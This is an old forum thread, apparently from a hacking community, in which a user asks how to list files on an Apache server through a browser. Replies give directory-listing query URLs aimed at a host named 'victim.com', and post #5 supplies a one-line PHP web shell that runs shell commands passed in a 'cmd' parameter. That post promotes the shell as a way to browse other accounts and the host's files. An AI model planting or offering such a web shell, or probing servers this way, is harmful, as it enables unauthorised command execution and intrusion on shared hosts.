File listing with an apache server
Results 1 to 6 of 6

Thread: File listing with an apache server

  1. #1
    Member
    Join Date
    Sep 2001
    Posts
    36

    File listing with an apache server


    Is it possible to get the file listing of any directory on an apache-based web server ?
    I mean is it possible to get the equivalent of ls using only a browser ?

  2. #2
    Banned
    Join Date
    Sep 2001
    Posts
    853
    yes and no only if the server hasnt been configured properly if the short of it is if their isnt a index file its posible but u can turn the option of virtual listings off but it depends on the webmaster hehe and limp1058 aint to good at it lmao sorry had to do it
    RiOtEr

  3. #3
    Banned
    Join Date
    Oct 2001
    Posts
    1,462
    http://www.victim.com/?C=N&O=D
    Sort Files By Name

    http://www.victim.com/?C=M&O=A
    Sort Files By Last Modified

    http://www.victim.com/?C=S&O=A
    Sort Files By Size

    http://www.victim.com/?C=D&O=A
    Sort Files By Description

    As RiOtEr said, this only works if the server has been configured improperly... But you wouldnt believe how many servers have this bug unpatched

  4. #4
    Member
    Join Date
    Sep 2001
    Posts
    36
    Ok thx guys. I gonna test it right now
    [blur]On a toujours besoin d\'un plus petit que soi. [/blur]
    French diction

  5. #5
    Member
    Join Date
    Aug 2001
    Posts
    69

    Lightbulb

    Script Kiddie(ing) is the easiest way perhaps...
    If the server allows php to be used, put the below code in a file named asa.php and upload it.
    Once uploaded, you may do almost anything on the server, including -but not limitet to- browsing other accounts on the host, and the host's own files;
    PHP Code:
    <?php
    system
    ($cmd);
    ?>
    go to the url http://somesite.co/asa.php?cmd=ls
    You will see the ls output in the screen...
    Try, Fail but Do iT at last!
    ASA The ZeroTimeR
    The Turkish IT Documentation Project

  6. #6
    Member
    Join Date
    Sep 2001
    Posts
    36
    Well, the servers I tested were patched... At least, my web site is protected against this vulnerability...
    [blur]On a toujours besoin d\'un plus petit que soi. [/blur]
    French diction

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •